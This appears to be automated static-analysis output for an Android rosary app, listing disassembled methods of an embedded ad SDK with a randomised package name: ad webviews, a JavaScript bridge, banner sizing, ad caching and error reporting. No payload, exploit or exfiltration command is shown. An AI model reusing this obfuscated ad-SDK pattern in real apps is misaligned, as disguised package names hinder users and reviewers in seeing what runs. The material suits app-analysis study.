4invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->requestWindowFeature(I)Z
  • Data flow analysis:
    • featureId: 2
6invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->getResources()Landroid/content/res/Resources;
7move-result-object v1
9invoke-virtual {v1}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics;
10move-result-object v1
11iget v1, v1, Landroid/util/DisplayMetrics;->density:F
12iput v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->scale:F
13if-eqz p1, :cond_1e
14try_start_12:
15const-string v1, ""
17invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
18move-result v1
19if-nez v1, :cond_1e
21invoke-direct {p0, p1}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->buildLayout(Ljava/lang/String;)V
22goto_1d: return-void
23cond_1e:
24const-string v1, "AirplayMraid"
26const-string v2, "Url is null."
28invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Url is null.
30invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
31try_end_28: goto/16 :goto_1d
32catch_29: move-exception v0
34invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
36invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
37goto/16 :goto_1d
APIs
  • java.lang.Object.<init>
Strings
  • id
  • summary
  • location
  • description
  • start
  • end
  • status
  • transparency
  • recurrence
  • reminder
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4const-string v0, "id"
5iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->CALENDAR_ID:Ljava/lang/String;
7const-string v0, "summary"
8iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->CALENDAR_TITLE:Ljava/lang/String;
10const-string v0, "location"
11iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->LOCATION:Ljava/lang/String;
13const-string v0, "description"
14iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->DESCRIPTION:Ljava/lang/String;
16const-string v0, "start"
17iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->START_TIME:Ljava/lang/String;
19const-string v0, "end"
20iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->END_TIME:Ljava/lang/String;
22const-string v0, "status"
23iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->STATUS:Ljava/lang/String;
25const-string v0, "transparency"
26iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->TRANSPARENCY:Ljava/lang/String;
28const-string v0, "recurrence"
29iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->RECURRENCE:Ljava/lang/String;
31const-string v0, "reminder"
32iput-object v0, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent;->REMINDER:Ljava/lang/String;
33return-void
APIs
  • android.webkit.WebViewClient.onPageFinished
  • com.vxjxu.jkhfn1870.MraidView.access$800
  • com.vxjxu.jkhfn1870.MraidView.access$100
  • com.vxjxu.jkhfn1870.MraidView.access$900
  • com.vxjxu.jkhfn1870.MraidView.displayAD
Strings
  • expanded
  • resized
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "url" # Ljava/lang/String;
2.prologue
4invoke-super {p0, p1, p2}, Landroid/webkit/WebViewClient;->onPageFinished(Landroid/webkit/WebView;Ljava/lang/String;)V
5iget-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->isErrorOccured:Z
6if-nez v0, :cond_39
8iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
10invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$800(Lcom/vxjxu/jkhfn1870/MraidView;)Ljava/lang/String;
11move-result-object v0
12if-eqz v0, :cond_3a
14iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
16invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$800(Lcom/vxjxu/jkhfn1870/MraidView;)Ljava/lang/String;
17move-result-object v0
19const-string v1, "expanded"
20if-eq v0, v1, :cond_23
22iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
24invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$800(Lcom/vxjxu/jkhfn1870/MraidView;)Ljava/lang/String;
25move-result-object v0
27const-string v1, "resized"
28if-ne v0, v1, :cond_3a
29goto_23:
30iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
32invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
33move-result-object v0
34if-eqz v0, :cond_34
36iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
38invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
39move-result-object v0
41invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdLoadedListener()V
42cond_34:
43iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
45invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$900(Lcom/vxjxu/jkhfn1870/MraidView;)V
46cond_39: return-void
47cond_3a:
48iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
50invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->displayAD()V
51goto/16 :goto_23
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • ,
Position Instruction Meta Information
0.param p1, "any" # [S
1.prologue
3const-string v1, ""
4const/4 v2, 0x0
5goto_3: array-length v3, p1
6if-ge v2, v3, :cond_42
7if-nez v2, :cond_24
8aget-short v0, p1, v2
9new-instance v3, Ljava/lang/StringBuilder;
11invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
13const-string v4, ""
15invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
16move-result-object v3
18iget-object v4, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->days:[Ljava/lang/String;
19aget-object v4, v4, v0
21invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
22move-result-object v3
24invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
25move-result-object v1
26goto_21: add-int/lit8 v2, v2, 0x1
27goto/16 :goto_3
28cond_24: aget-short v0, p1, v2
29new-instance v3, Ljava/lang/StringBuilder;
31invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
33invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
34move-result-object v3
36const-string v4, ","
38invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,
39move-result-object v3
41iget-object v4, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->days:[Ljava/lang/String;
42aget-object v4, v4, v0
44invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
45move-result-object v3
47invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
48move-result-object v1
49goto/16 :goto_21
50cond_42: return-object v1
APIs
  • android.webkit.WebView.onMeasure
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.AdView.getadWidth
  • com.vxjxu.jkhfn1870.AdView.getadHeight
  • com.vxjxu.jkhfn1870.ImageBanner.setMeasuredDimension
Strings
  • image
  • text
  • medium_rectangle
Position Instruction Meta Information
0.param p1, "widthMeasureSpec" # I
1.param p2, "heightMeasureSpec" # I
2.prologue
4invoke-super {p0, p1, p2}, Landroid/webkit/WebView;->onMeasure(II)V
6iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
7if-eqz v1, :cond_34
9iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
11invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getBanner_type()Ljava/lang/String;
12move-result-object v0
14const-string v1, "image"
16invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: image
17move-result v1
18if-nez v1, :cond_25
20const-string v1, "text"
22invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: text
23move-result v1
24if-nez v1, :cond_25
26const-string v1, "medium_rectangle"
28invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: medium_rectangle
29move-result v1
30if-eqz v1, :cond_34
31cond_25:
32iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->adView:Lcom/vxjxu/jkhfn1870/AdView;
34invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdView;->getadWidth()I
35move-result v1
37iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->adView:Lcom/vxjxu/jkhfn1870/AdView;
39invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/AdView;->getadHeight()I
40move-result v2
42invoke-virtual {p0, v1, v2}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setMeasuredDimension(II)V
43cond_34: return-void
APIs
  • android.widget.FrameLayout.onConfigurationChanged
  • java.lang.String.equals
  • android.os.Handler.sendEmptyMessage
  • com.vxjxu.jkhfn1870.AdView.resizeBanner
  • com.vxjxu.jkhfn1870.AdView.loadBannerAd
Strings
  • image
  • text
  • medium_rectangle
Position Instruction Meta Information
0.param p1, "newConfig" # Landroid/content/res/Configuration;
1.prologue
2sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
3const/16 v2, 0x8
4if-lt v1, v2, :cond_9
6invoke-super {p0, p1}, Landroid/widget/FrameLayout;->onConfigurationChanged(Landroid/content/res/Configuration;)V
7cond_9:
8iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
9if-eqz v1, :cond_37
11iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
13invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getBanner_type()Ljava/lang/String;
14move-result-object v0
16const-string v1, "image"
18invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: image
19move-result v1
20if-nez v1, :cond_2b
22const-string v1, "text"
24invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: text
25move-result v1
26if-nez v1, :cond_2b
28const-string v1, "medium_rectangle"
30invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: medium_rectangle
31move-result v1
32if-eqz v1, :cond_37
33cond_2b:
34iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler;
35const/4 v2, 0x2
37invoke-virtual {v1, v2}, Landroid/os/Handler;->sendEmptyMessage(I)Z
  • Data flow analysis:
    • what: 2
39invoke-direct {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->resizeBanner(Ljava/lang/String;)V
41invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->loadBannerAd()V
42cond_37: return-void
Cross References
APIs
  • java.lang.Class.forName
  • java.lang.Class.getField
  • java.lang.reflect.Field.getInt
  • android.widget.Button.setBackgroundResource
  • android.widget.Button.setText
  • android.widget.Button.setTypeface
  • android.widget.Button.setBackgroundColor
Strings
  • com.android.internal.R$drawable
  • ic_menu_close_clear_cancel
  • Close
Position Instruction Meta Information
0.param p1, "button" # Landroid/widget/Button;
1.prologue
2if-nez p1, :cond_3
3goto_2: return-void
4cond_3:
5const-string v3, "com.android.internal.R$drawable"
7invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
  • Data flow analysis:
    • p0: com.android.internal.R$drawable
8move-result-object v1
10const-string v3, "ic_menu_close_clear_cancel"
12invoke-virtual {v1, v3}, Ljava/lang/Class;->getField(Ljava/lang/String;)Ljava/lang/reflect/Field;
  • Data flow analysis:
    • p0: ic_menu_close_clear_cancel
13move-result-object v3
15invoke-virtual {v3, v1}, Ljava/lang/reflect/Field;->getInt(Ljava/lang/Object;)I
16move-result v0
18invoke-virtual {p1, v0}, Landroid/widget/Button;->setBackgroundResource(I)V
19try_end_16: goto/16 :goto_2
20catch_17: move-exception v2
22const-string v3, "Close"
24invoke-virtual {p1, v3}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V
  • Data flow analysis:
    • p0: Close
25const/4 v3, 0x0
26const/4 v4, 0x1
28invoke-virtual {p1, v3, v4}, Landroid/widget/Button;->setTypeface(Landroid/graphics/Typeface;I)V
  • Data flow analysis:
    • p0: 0
    • p1: 1
29const/4 v3, 0x0
31invoke-virtual {p1, v3}, Landroid/widget/Button;->setBackgroundColor(I)V
  • Data flow analysis:
    • color: 0
32goto/16 :goto_2
APIs
  • android.webkit.WebViewClient.onPageFinished
  • android.webkit.WebView.canGoBack
  • com.vxjxu.jkhfn1870.BrowserActivity.access$100
  • android.widget.Button.setEnabled
  • android.webkit.WebView.canGoForward
  • com.vxjxu.jkhfn1870.BrowserActivity.access$200
  • android.widget.Button.setEnabled
  • com.vxjxu.jkhfn1870.BrowserActivity.access$100
  • android.widget.Button.setEnabled
  • com.vxjxu.jkhfn1870.BrowserActivity.access$200
  • android.widget.Button.setEnabled
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "url" # Ljava/lang/String;
2.prologue
3const/4 v1, 0x1
4const/4 v2, 0x0
6invoke-super {p0, p1, p2}, Landroid/webkit/WebViewClient;->onPageFinished(Landroid/webkit/WebView;Ljava/lang/String;)V
7if-eqz p1, :cond_30
8move v0, v1
9goto_8:
10invoke-virtual {p1}, Landroid/webkit/WebView;->canGoBack()Z
11move-result v3
12and-int/2addr v0, v3
13if-eqz v0, :cond_32
15iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
17iget-object v0, v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
19invoke-static {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->access$100(Lcom/vxjxu/jkhfn1870/BrowserActivity;)Landroid/widget/Button;
20move-result-object v0
22invoke-virtual {v0, v1}, Landroid/widget/Button;->setEnabled(Z)V
  • Data flow analysis:
    • enabled: 1
23goto_1a: if-eqz p1, :cond_3e
24move v0, v1
25goto_1d:
26invoke-virtual {p1}, Landroid/webkit/WebView;->canGoForward()Z
27move-result v3
28and-int/2addr v0, v3
29if-eqz v0, :cond_40
31iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
33iget-object v0, v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
35invoke-static {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->access$200(Lcom/vxjxu/jkhfn1870/BrowserActivity;)Landroid/widget/Button;
36move-result-object v0
38invoke-virtual {v0, v1}, Landroid/widget/Button;->setEnabled(Z)V
  • Data flow analysis:
    • enabled: 1
39goto_2f: return-void
40cond_30: move v0, v2
41goto/16 :goto_8
42cond_32:
43iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
45iget-object v0, v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
47invoke-static {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->access$100(Lcom/vxjxu/jkhfn1870/BrowserActivity;)Landroid/widget/Button;
48move-result-object v0
50invoke-virtual {v0, v2}, Landroid/widget/Button;->setEnabled(Z)V
  • Data flow analysis:
    • enabled: 0
51goto/16 :goto_1a
52cond_3e: move v0, v2
53goto/16 :goto_1d
54cond_40:
55iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
57iget-object v0, v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
59invoke-static {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->access$200(Lcom/vxjxu/jkhfn1870/BrowserActivity;)Landroid/widget/Button;
60move-result-object v0
62invoke-virtual {v0, v2}, Landroid/widget/Button;->setEnabled(Z)V
  • Data flow analysis:
    • enabled: 0
63goto/16 :goto_2f
APIs
  • prsolutions.rosariofacileads.Player.access$600
  • prsolutions.rosariofacileads.Player.access$200
  • android.media.MediaPlayer.pause
  • prsolutions.rosariofacileads.Player.access$700
  • android.widget.Button.setText
  • prsolutions.rosariofacileads.Player.access$602
  • prsolutions.rosariofacileads.Player.access$200
  • android.media.MediaPlayer.start
  • prsolutions.rosariofacileads.Player.access$700
  • android.widget.Button.setText
  • prsolutions.rosariofacileads.Player.access$602
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.prologue
3iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player;
5invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$600(Lprsolutions/rosariofacileads/Player;)I
6move-result v0
7if-nez v0, :cond_24
9iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player;
11invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$200(Lprsolutions/rosariofacileads/Player;)Landroid/media/MediaPlayer;
12move-result-object v0
14invoke-virtual {v0}, Landroid/media/MediaPlayer;->pause()V
16iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player;
18invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$700(Lprsolutions/rosariofacileads/Player;)Landroid/widget/Button;
19move-result-object v0
20const v1, 0x7f050012
22invoke-virtual {v0, v1}, Landroid/widget/Button;->setText(I)V
  • Data flow analysis:
    • resid: 2131034130
24iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player;
25const/4 v1, 0x1
27invoke-static {v0, v1}, Lprsolutions/rosariofacileads/Player;->access$602(Lprsolutions/rosariofacileads/Player;I)I
  • Data flow analysis:
    • p1: 1
28goto_23: return-void
29cond_24:
30iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player;
32invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$200(Lprsolutions/rosariofacileads/Player;)Landroid/media/MediaPlayer;
33move-result-object v0
35invoke-virtual {v0}, Landroid/media/MediaPlayer;->start()V
37iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player;
39invoke-static {v0}, Lprsolutions/rosariofacileads/Player;->access$700(Lprsolutions/rosariofacileads/Player;)Landroid/widget/Button;
40move-result-object v0
41const v1, 0x7f050011
43invoke-virtual {v0, v1}, Landroid/widget/Button;->setText(I)V
  • Data flow analysis:
    • resid: 2131034129
45iget-object v0, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player;
46const/4 v1, 0x0
48invoke-static {v0, v1}, Lprsolutions/rosariofacileads/Player;->access$602(Lprsolutions/rosariofacileads/Player;I)I
  • Data flow analysis:
    • p1: 0
49goto/16 :goto_23
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.access$600
  • com.vxjxu.jkhfn1870.MraidView.access$602
  • com.vxjxu.jkhfn1870.MraidView.access$600
Strings
  • Expand Json:
Position Instruction Meta Information
0.param p1, "json" # Ljava/lang/String;
1.annotation runtime Landroid/webkit/JavascriptInterface;
2.end annotation
3.prologue
4new-instance v0, Ljava/lang/StringBuilder;
6invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
8const-string v1, "Expand Json: "
10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Expand Json:
11move-result-object v0
13invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
14move-result-object v0
16invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
17move-result-object v0
19invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
21iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
23invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$600(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;
24move-result-object v0
25if-eqz v0, :cond_28
27iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
29invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$600(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;
30move-result-object v0
32invoke-virtual {v0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->setProperties(Ljava/lang/String;)V
33goto_27: return-void
34cond_28:
35iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
36new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;
38iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
40invoke-direct {v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V
42invoke-static {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$602(Lcom/vxjxu/jkhfn1870/MraidView;Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;)Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;
44iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
46invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$600(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;
47move-result-object v0
49invoke-virtual {v0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->setProperties(Ljava/lang/String;)V
50goto/16 :goto_27
Cross References
APIs
  • android.content.SharedPreferences.edit
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.SharedPreferences$Editor.putString
  • android.content.SharedPreferences$Editor.commit
Strings
  • video_url
Position Instruction Meta Information
0.param p1, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
1.param p2, "json" # Ljava/lang/String;
2.param p3, "videoUrl" # Ljava/lang/String;
3.annotation system Ldalvik/annotation/Throws;
4value = {
5Ljava/lang/Exception;
6}
7.end annotation
8.prologue
10iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences;
12invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
13move-result-object v0
14iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
16iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
17new-instance v1, Ljava/lang/StringBuilder;
19invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
21const-string v2, ""
23invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v1
26invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
27move-result-object v1
29invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
30move-result-object v1
32invoke-interface {v0, v1, p2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
34iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
36const-string v1, "video_url"
38invoke-interface {v0, v1, p3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p0: video_url
40iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
42invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
43move-result v0
44return v0
Cross References
APIs
  • java.lang.String.equals
  • android.util.Log.i
  • java.lang.Thread.<init>
  • java.lang.Thread.start
  • android.util.Log.e
Strings
  • 0
  • AirplaySDK
  • Appid is invalid. Sending report aborted.
  • Sending integration error failed.
Position Instruction Meta Information
0.param p1, "code" # I
1.prologue
2monitor-enter p0
3try_start_1:
4invoke-static {}, Lcom/vxjxu/jkhfn1870/Util;->getAppID()Ljava/lang/String;
5move-result-object v1
6if-eqz v1, :cond_13
8invoke-static {}, Lcom/vxjxu/jkhfn1870/Util;->getAppID()Ljava/lang/String;
9move-result-object v1
11const-string v2, "0"
13invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: 0
14move-result v1
15if-eqz v1, :cond_1c
16cond_13:
17const-string v1, "AirplaySDK"
19const-string v2, "Appid is invalid. Sending report aborted."
21invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Appid is invalid. Sending report aborted.
22try_end_1a: monitor-exit p0
23try_end_1b: return-void
24try_start_1c: new-instance v1, Ljava/lang/Thread;
25new-instance v2, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;
27invoke-direct {v2, p0, p1}, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;-><init>(Lcom/vxjxu/jkhfn1870/SendIntegrationError;I)V
29invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
31invoke-virtual {v1}, Ljava/lang/Thread;->start()V
32goto_29: monitor-exit p0
33goto/16 :goto_1b
34catchall_2b: move-exception v1
35monitor-exit p0
36try_end_2d: throw v1
37catch_2e: move-exception v0
38try_start_2f:
39const-string v1, "AirplaySDK"
41const-string v2, "Sending integration error failed."
43invoke-static {v1, v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Sending integration error failed.
44try_end_36: goto/16 :goto_29
APIs
  • org.apache.http.HttpResponse.getEntity
  • org.apache.http.HttpEntity.getContentEncoding
  • org.apache.http.Header.getElements
  • org.apache.http.HeaderElement.getName
  • java.lang.String.equalsIgnoreCase
  • org.apache.http.HttpResponse.getEntity
  • com.vxjxu.jkhfn1870.NetworkThread$InflatingEntity.<init>
  • org.apache.http.HttpResponse.setEntity
Strings
  • gzip
Position Instruction Meta Information
0.param p1, "response" # Lorg/apache/http/HttpResponse;
1.param p2, "context" # Lorg/apache/http/protocol/HttpContext;
2.prologue
